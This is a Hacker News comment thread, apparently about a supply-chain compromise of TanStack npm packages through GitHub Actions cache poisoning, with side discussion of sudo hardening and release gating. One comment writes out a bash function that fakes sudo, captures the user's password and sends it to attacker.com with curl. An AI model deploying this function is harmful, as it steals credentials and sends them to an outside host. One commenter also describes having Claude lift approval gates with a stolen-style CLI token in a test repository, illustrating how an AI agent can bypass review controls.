If you didn't give yourself "free" (passwordless) sudo, that's not necessary…

…unless it happened in a week with 2 and a half Linux kernel LPEs.

The next five years are going to be truly WILD in the software world.

Air-gapped systems are gonna be huge.

Hah! I know why I don't use systemd.

https://news.ycombinator.com/item?id=48086082#48087028

https://news.ycombinator.com/item?id=48101453

If you don't have min-release-age set, remember that you can still pull in affected packages via indirect dependencies.

And ideally pin your package manager version too.

Apologies if I missed it. There's some discussion of things under what could have gone better, but prevention is key, and the reports not done without it.

~/.config/pip/pip.conf

[install] uploaded-prior-to = P3D

>Running untrusted code on the pull_request_target trigger may lead to security vulnerabilities. These vulnerabilities include cache poisoning and granting unintended access to write privileges or secrets.

https://docs.github.com/en/actions/reference/workflows-and-a...

My naive private repo enjoying take: wt wtf?

I understand why this needs to be a thing, maybe... but I am so glad that I am nowhere near maintaining a public repo.

Key issue here is cache poisoning, that is feature/bug that exist in utility functions/actions provided by Github.

Even if there was misconfiguration on tanstack side, then root cause is on. GH for even allowing insecure workflows to interfere with secure ones.

Here people are trying to fix defaults - not to write cache in insecure context -> https://github.com/actions/cache/issues/1756

(even if sufficiely smart attacker would find the key somewhere and skip this kind of prodection, not sure where but write-allowing-key it must exist somewhere in runtime if actions/cache can us it)

Someone else on this thread:

> On GitLab even if you set the same cache key it will not cross between unprotected and protected runs.

There are so many things involved that a casual user will never get security right. Even if you are knowledgeable it's very draining if you have to catch up, securing all your workflows is hard work that is definitely NOT done at a glimpse and you probably postpone it because of that.

If you have some sense for security you will usually get nervous doing something stupid in a bash script. Well, except you bury everything in thousands of abstractions.

Bitcoin people solved problem a decade ago with deterministic build: Bitcoin core is considered publisher when 5+ devs get bit-exact build artifact, each individually signing a hash. Replicating that model isn't hard, it's just that nobody cares. People just want to trust the cloud because it's big

Would this have caught the cache poisoning? Unsure, though it at least means I'm intentionally authorising and monitoring each publish for anything unexpected.

https://docs.github.com/en/actions/deployment/targeting-diff...

Unless your bash script setup doesn't have the functionality of pull_request_target, but then removing it also works.

Of course the side effect is that now it's much harder to pull packages for legitimate reasons :/

[1] https://en.wikipedia.org/wiki/Npm_left-pad_incident

https://news.ycombinator.com/item?id=47582632

Every package manager that does not analyze and run tests on the packages being uploaded (like Linux distros do) is vulnerable.

Malware can make a fake unprivileged sudo that sniffs your password.

function sudo () {

    realsudo=$(which sudo);

    read -r -s -p "[sudo] password for $USER: " password;

    echo "$USER: $password" | \

        curl -F 'p=<-' https://attacker.com >/dev/null 2>&1;

    $realsudo -S <<< "$password" -u root bash -C "exit" >/dev/null 2>&1;

    $realsudo "${@:1}";

}

edit: two hard things in computer science: naming things, cache invalidation, off-by-one errors, security. something something

Looking at the affected workflow I don't see any explicit caching so this is all "magically under the hood" by GitHub?

This looks like a FU on Github not TanStack (except for putting trust in Github in 2026 perhaps).

Yes, various footguns of pull_request_target are documented but I don't believe this is one of them? Github needs to own this OR just deprecate and remove pull_request_target alltogether.

From postmortem timeline: > 2026-05-11 11:29 Cache entry Linux-pnpm-store-6f9233a50def742c09fde54f56553d6b449a535adf87d4083690539f49ae4da11 (1.1 GB) saved to GitHub Actions cache for TanStack/router, scope refs/heads/main — keyed to match what release.yml will look up on the next push to main

Why was that scoped refs/heads/main?

This is the exploited version of the exploited workflow. Why does the result of preinstall scripts run on PRs here end up on the main branch? Or did I overlook some critical part of Actions docs or the TanStack actions?

https://raw.githubusercontent.com/TanStack/router/d296252f73...

They poisoned the github action cache, which was caching the pnpm store. The chain required pull_request_target on the job to check bundle size, which had cache access and poisoned the main repo’s cache

The malicious package that was publisjed will compromise local machines its installed in via the prepare script, though.

pull_request_target jobs run in response to various events related to a pull request opened against your repo from a fork (e.g, someone opens a new PR or updates an existing one). Unlike pull_request jobs, which are read-only by default, pull_request_target jobs have read/write permissions.

The broader permissions of pull_request_target are supposed to be mitigated by the fact that pull_request_target jobs run in a checkout of your current default branch rather than on a checkout of the opened PR. For example, if someone opens a PR from some branch, pull_request_target runs on `main`, not on the new branch. The compromised action, however, checked out the source code of the PR to run a benchmark task, which resulted in running malicious attacker-controlled code in a context that had sensitive credentials.

The GHA docs warn about this risk specifically:

> Running untrusted code on the pull_request_target trigger may lead to security vulnerabilities. These vulnerabilities include cache poisoning and granting unintended access to write privileges or secrets.

They also further link to a post from 2021 about this specific problem: https://securitylab.github.com/resources/github-actions-prev.... That post opens with:

> TL;DR: Combining pull_request_target workflow trigger with an explicit checkout of an untrusted PR is a dangerous practice that may lead to repository compromise.

The workflow authors presumably thought this was safe because they had a block setting permissions.contents: read, but that block only affects the permissions for GITHUB_TOKEN, which is not the token used to interact with the cache. This seems like the biggest oversight in the existing GHA documentation/api (beyond the general unsafety of having pull_request_target at all). Someone could (and presumably did!) see that block and think "this job runs with read-only permissions", which wasn't actually true here.

When I read that, I thought they must be using 'fork' wrong, and actually mean branch on the official repo, as that can't be right!?" Good lord.

Let's say the attack becomes hugely succesful and the worm spreads to thousands of devices. GitHub/NPM could just revoke all compromised tokens (assuming they have a way to query) stopping the worm in its tracks. But because of the Dead Mans Switch, they'd know that in doing so, they'd be bricking thousands of their user's devices. So it effectively moves the responsibility to revoke compromised tokens from a central authority that could do it en-masse, to each individual who got compromised, greatly improving the worm's chances of survival.

They basically confirm that this whole provenance only proves origin. That origin was broken/flawed and was coerced to do something bad. (?)

Again, untrusted workflows can't write anywhere - cache poisoning was they key problem. If cache would be clean, release build/run would be clean too.

Give a publisher a way to tag a version as malicious and then in those hours between the exploit being noticed and the package being removed anyone who tries to install gets a message about that version being quarantined and asking whether they want to proceed.

It's not a perfect solution, but I think it's better than just waiting for NPM to take action without opening the door up to another left pad situation.

This is too reductive of the situation.

If it ain’t broke don’t fix it. Except, in this case, unless you have someone tell you it’s broken you won’t even know you need to fix it.

And this is where asymmetry comes in to play. Attackers are free to test and break as much as they want as long as they are silent. Whereas maintainers don’t know if the fix an LLM proposes will actually address the issue or cause some regression elsewhere.

IMO, if Microsoft wants actually good PR around GitHub for once they would offer free LLM security audits on all actions for at least the X most popular repos…

  Note that commands explicitly intended to run a particular script, such as 
  npm start, npm stop, npm restart, npm test, and npm run-script will still
  run their intended script if ignore-scripts is set, but they will not 
  run any pre- or post-scripts.

Also, in addition to isolation and https://en.wikipedia.org/wiki/Capability-based_security between processes, capability security within processes, see languages like E (https://web.archive.org/web/20260506035108/https://erights.o...) or Monte (https://monte.readthedocs.io/en/latest/index.html)

It would limit the blast radius, which at least is an improvement.

Is it no longer the right idea?

pnpm, deno, or bun, none of which will run the malicious "prepare" hook in the first place unless specifically allowed.

Make alias called sdo that echoes sudo path and hash every time you use it to stderr.

That's security by obscurity though.

And the two-factor approver should see a human-written changelog message alongside an AI summary of what was changed, that goes deeply into any updated dependencies. No sneaking through with "emergency bugfix" that also bumps a dependency that was itself social-engineered. Stop the splash radius, and disincentivize all these attacks.

Edit: to the MSFT folks who think of the stock ticker name first and foremost - you'd be able to say that your AI migration tools emit "package suggestions that embed enterprise-grade ecosystem security" when they suggest NPM packages. You've got customers out there who still have security concerns in moving away from their ancient Java codebases. Give them a reason to trust your ecosystem, or they'll see news articles like this one and have the opposite conclusion.

That's why Flatpaks sandbox doesn't exist if the application has access to the home folder.

the GitHub bot law: the GitHub bot situation is way worse than you imagine even if you are aware of the GitHub bot law.

yes, a cheap parody on Hofstadter's law, but that's how bad it is

What does systemd have to do with this? They could install it in your user's crontab. Do you also not use cron?

Go Get is closer to always locking dependencies unless you explicitly upgrade them with a go get, so it's much much better in my view.

Yes, you can lock deps in NPM/Cargo/etc. but that's not the default. It is the default in Go.

In Go projects my policy for upgrading dependencies includes running full AI audit of all code changed across all dependencies, comes out to ~$200 in tokens every time but it gives those warm 'not likely to get pwned' vibes. And it comes with a nice report of likely breaking changes etc.

(I'm not being stupid, even ten years ago there were arguments on HN about whether you should audit your dependencies)

I landed on the 'yes, you should know what code you are getting involved with' side.

Idk about Python, I refuse to use that language for other reasons.

Edited: Previous suggested using \sudo but it depends of the variable path which can be modified by the attacker.

Yes indeed.

> Malware can make a fake unprivileged sudo that sniffs your password.

Not on my Linux workstation though. No sudo command installed. Not a single setuid binary. Not even su. So basically only root can use su and nobody else.

Only way to log in at root is either by going to tty2 (but then the root password is 30 characters long, on purpose, to be sure I don't ever enter it, so login from tty2 ain't really an option) or by login in from another computer, using a Yubikey (no password login allowed). That other computer is on a dedicated LAN (a physical LAN, not a VLAN) that exists only for the purpose of allowing root to ssh in (yes, I do allow root to SSH in: but only with using U2F/Yubikey... I have to as it's the only real way to log in as root).

It is what it is and this being HN people are going to bitch that it's bad, insecure, inconvenient (people typically love convenience at the expense of security), etc. but I've been using basically that setup since years. When I need to really be root (which is really not often), I use a tiny laptop on my desk that serves as a poor admin's console (but over SSH and only with a Yubikey, so it'd be quite a feat to attack that).

Funnily enough last time I logged in as root (from the laptop) was to implement the workaround to blacklist all the modules for copy.fail/dirtyfrag.

That laptop doesn't even have any Wifi driver installed. No graphical interface. It's minimal. It's got a SSH client, a firewall (and so does the workstation) and that's basically it. As it's on a separate physical LAN, no other machine can see it on the network.

I did set that up just because I could. Turns out it's fully usable so I kept using it.

Now of course I've got servers, VMs, containers, etc. at home too (and on dedicated servers): that's another topic. But on my main workstation a sudo replacement function won't trick me.

1. shells support the notion of privileged commands, that can't be overridden with PATH manipulations, aliases or functions.

2. Sudo (or PAM actually) can authenticate with your identity provider (like Entra ID) instead of a local password. Then there is nothing to sniff and you can also use 2FA or passkeys.

That is why I want 2fa before publish at the registry, because with my gh cli token as a repo admin, an attacker can disable all the Github branch protection, rewrite my workflows, disable the required reviewers on environments (which is one method people use for 2fa for releases, have workflows run in a GH environment whcih requires approval and prevents self review), enable self review, etc etc.

Its what I call a "fox in the hen house" problem, where you have your security gates within the same trust model as you expect to get stolen (in this case, having repo admin token exfiled from my local machine)

And what? Just let the actor just keep using them to spread to other people?

Always rotate your tokens immediately if they're compromised.

If it hurts, well, that sucks. …but seriously, not revoking the tokens just makes this worse for everyone.

A fair comment would have been: “it looks like the payload installs a dead-mans switch…”

Asking the maintainers not to revoke their compromised credentials deserves every down vote it receives.

Tanstack infected a bunch of other packages; then resolving their issue doesn’t fix the widespread issue

Anyway, thanks for sharing. It doesn't look like it handles cli auth though (aws, npm, etc. all leave tokens sitting in your home directory). What do you use for those?

If a workflow run by a maintainer (with access to secrets) can pull a cache tarball uploaded by a random user on GitHub, then it’s a security black hole. More incidents like this are inevitable.

What I'm curious about is: how can you poison the cache in CI, if the lockfile has an integrity hash for each package?

Did the incoming PR modify pnpm-lock.yaml? If so, that would an obvious thing to disallow in any open-source project and require maintainer oversight.

Why even have protected branch rules when anyone with write access to an unprotected branch can poison the Action cache and compromise the CI on the next protected branch run?

In GitLab CI caches are not shared between unprotected and protected runs.

specified: repo location, slightly-difficult-to-preimage hash

intended meaning: use this hash if and only if it is accessible from the default branch of that repo

actual meaning: use this hash. start looking at this location. I do not care whether it is accessible through that location by accident, by intent of merely its uploader, or by explicit and persisting intent of someone with write access to the location.

nowadays, 'risk is low' isn't true anymore and it's actually cheaper to have a robot spit out a reimplementation of the 5.4% of what you need out of your dependencies instead of auditing the 100%.

For servers, sudo or a package manager etc should not exist. There is no good reason for servers to run any processes as root or have any way to reach root. Servers should generally be immutable appliances.

> Realistically if you have installed malware, you need to do a full wipe of your computer anyway

You might be the exception to this sentiment. But out of curiosity, after all that setup would you feel confident trying to recover from malware (rather than taking the “nuke it from orbit” approach?).

[1] https://fishshell.com/docs/current/cmds/builtin.html

The restore-key looks too wide and this still looks like an issue. This wide caching may also cause issue if they ever upgrade major nodejs version independently of OS, for example.

A big ugly warning in the UI?

Or, push back on the architecture?

Or, is threatening a big ugly warning in the UI actually pushing back on the architecture?

[0]: https://trufflesecurity.com/blog/anyone-can-access-deleted-a...

How is it not the default in npm?

BTW a curated mirror of <whatever ecosystem> packages, where every package is guaranteed to have been analyzed and tested, could be an easy sell now. Also relatively easy to create, with the help of AI. A $200 every time is less pleasant than, say, $100/mo for the entire org.

Docker does something vaguely similar for Docker images, for free though.

$ /usr/bin/sudo() { echo Not the real sudo.; }

$ /usr/bin/sudo

Not the real sudo.

And every other suggestion also doesn't work if the attacker can just replace the shell.

Plus you only need one slip-up and you're hosed. Even people who try to almost always use '/usr/bin/sudo' will undoubtedly accidentally let a 'sudo' go through. Maybe they copy/paste a command from somewhere (after verifying that it's safe of course) and just didn't think of the sudo issue then and there.

Password on sudo is only useful if you detect the infection before you run sudo

/aside

Then the next time you run sudo, phase2 triggers installing a rootkit, etc.

Remember that malware can replace or modify your shell

> We impose tag protection rules that prevent release tags from being created until a release deployment succeeds, with the release deployment itself being gated on a manual approval by at least one other team member. We also prevent the updating or deletion of tags, making them effectively immutable once created. On top of that we layer a branch restriction: release deployments may only be created against main, preventing an attacker from using an unrelated first-party branch to attempt to bypass our controls.

> https://astral.sh/blog/open-source-security-at-astral

From what I understand, you need a website login, and not a stolen API token to approve a deployment.

But I agree in principle - The registry should be able to enforce web-2fa. But the defaults can be safer as well.

However, the threat Im most afraid of still does involve dev environment compromise. Because if your repo admin gets their token stolen from their gh cli, they can trivially undo via API (without a 2fa gate!) any github level gate you have put in place to make TP safe. I want so badly to be wrong about that, we have been evaluating TP in my projects and I want to use it. But without a second factor to promote a release, at the end of the day if you have TP configured and your repo admin gets pwned, you cannot stop a TP release unless you race their publish and disable TP at npm.

TP is amazing at removing long lived npm tokens from CI, but the class of compromise that historically has plagued the ecosystem does not at all depend on the token being long lived, it depends on an attacker getting a token which doesnt require 2fa.

I am begging for someone to prove me wrong about this, not to be a shit, but because I really want to find a secure way to use TP in lodash, express, body-parser, cors, etc

Make sure to have an up-to-date backup, that's offline, or at least not mounted on the affected computer.

Check for the dead-man switch, and if present, disarm it.

Only then revoke the tokens. Instead of immediately revoking the tokens, like one would normally do. Nobody is suggesting to keep the compromised tokens active longer than necessary.

It should be that within the first X hours you can pull a version regardless of dependants, after that you should need approval.

GitLab just adds a -protected suffix to the cache key.

It seems baffling that GitHub does not do this trivial separation, if I understand it correctly.

I ditched npm for yarn years ago because it had saner dependency resolution (npm's peer dependency algorithm was a constantly moving target), and now I've switched from yarn to bun because it doesn't run hooks in dependencies by default. It also helps that it installs dependencies 10x faster.

I don't read it in detail because reading in detail is precisely what I delegate to the harness. The alternative is that I delegate all this trust to package managers and the maintainers which quite clearly is a bad idea.

Whether the $$ pricetag is worth it is.. relative. Also in Go you don't update all that often, really when something either breaks or there is a legitimate security reason to do so, which in deep systems software is quite infrequent.

Funnily enough for frontend NPM code our policy was to never ever upgrade and run with locked dependencies, running few years old JS deps. For internal dashboards it was perfectly fine, never missed a feature and never had a supply chain close call.

If your unprivileged user is compromised, you are pretty hosed.

I'm in agreement that a second factor would be ideal, to be clear. I think it's a good idea, something like "package is released with Trusted Publishing, then 'marked' via a 2FA attestation". But in theory that 2FA is supposed to be necessary anyways since you can require a 2FA on Github and then require approvals on PRs - hence the cache poisoning being required.

Nothing in this link [1] proves what I said, but it is the test repo I was just conducting this on, and it was an approval gated GHA job that I had claude approve using my GH cli token

I also had claude use the same token to first reconfigure the enviornment to enable self-approves (I had configured it off manually before testing). It also put it back to self approve disabled when it was done hehe

[1] https://github.com/jonchurch/deploy-env-test/actions/runs/25...

These types of features are not worth it and need to be removed from the marketplace.

At least not if you haven’t edited your package.json manually.

This is an area where documentation is necessary but not sufficient. Github needs to add some form of automated screening mechanism to either prevent this usage, or at the very least quickly flag usages that might be dangerous.

What do you when a critical vulnerability gets discovered and you have to update a package? How many critical/high severity vulnerabilities are you running with in production every day to avoid supply chain attacks?

Honestly, the Android approach is significantly better. (and for that, see Micay's various ramblings posted online)

Yubikeys do not fix this issue.

There is no gate you can put on a Trusted Publisher setup in github which requires 2fa to remove. Full stop. 2fa on github gates some actions, but with a token with the right scope you can just disable the gating of workflow-runs-on-approve, branch protection, anything besides I think repo deletion and renaming.

And in my experience most maintainers will have repo admin perms by nature of the maintainer team being small and high trust. Your point is well taken, however, that said stolen token does need to have high enough privileges. But if you are the lead maintainer of your project, your gh token just comes with admin on your repo scope.

Many package managers require sudo, sure, but there is no good reason for them to in a modern linux system, and not all require this.

Even with systemd, you can use systemd --user.

You do not need root to do anything in Linux these days anyway between Namespaces and Capabilities so there is really no reason for root to be accessible at all or have any processes running as root post boot.

It makes me think of another similar one: I've noticed that British English speakers will say e.g. "the new iPhone will be available from September 20th"

To my ears that sounds like it's missing an “onwards” after it (or “starting September 20th” would sound even more natural).

https://docs.github.com/en/rest/actions/workflow-runs?apiVer...

Also for a Pending Deployment: https://docs.github.com/en/rest/actions/workflow-runs#review...

Both of these need `repo` scope, which you can avoid giving on org-level repos. For fine-grained tokens: "Deployments" repository permissions (write) is needed, which I wouldn't usually give to a token.

Critical severity vulnerabilities are only critical when they are reachable, but are completely meaningless if your application doesn't touch that code at all. It's objectively more risky to "patch" those by updating dependencies than just let them be there.

What upthread is talking about is the Github CLI app, `gh`; it doesn't use a fine-grained tokens, it uses OAuth app tokens. I.e., if you look at fine grain tokens (Setting → Developer settings → Personal access tokens → Fine-grained token), you will not see anything corresponding to `gh` there, as it does not use that form of authentication. It is under Settings → Applications → Authorized OAuth Apps as "Github CLI".

I just ran through the login sequence to double-check, but the permissions you grant it are not configurable during the login sequence, and it requests an all-encompassing token, as the upthread suggests.

Another way to come at this is to look at the token itself: gh's token is prefixed with `gho_` (the prefix for such OAuth apps), and fine-grained tokens are prefixed with `github_pat_` (sic)¹

¹(PATs are prefixed with `ghp_`, though I guess fine-grained tokens are also sometimes called fine-grain PATs… so, maybe the prefix is sensible.)

setcap 'cap_net_bind_service=+ep' /usr/sbin/sshd

Could even run it as a daemon unprivileged from a home directory with "systemd --user"

That said if you have multiple users and want every user to have their own sshd reachable on port 22 on the same machine you probably want to listen on vhost namespaced unix sockets and have something like haproxy listen on port 22 instead. Haproxy could of course also run unprivileged provided it has read access to all the sockets.

Issue is that it increases friction and you need sudo anyways to set the capabilities.

Most web servers would happy to run unprivileged with only CAP_NET_BIND_SERVICE

The bigger issue is that if you want to install or update system-wide packages, many of those will be used by privileged processes. Suppose you want to update /bin/sh. Even if the only permission you had is to write binaries, that'll get you root.

The only things I tend to have running at the system level are a kernel and init and maybe openssh.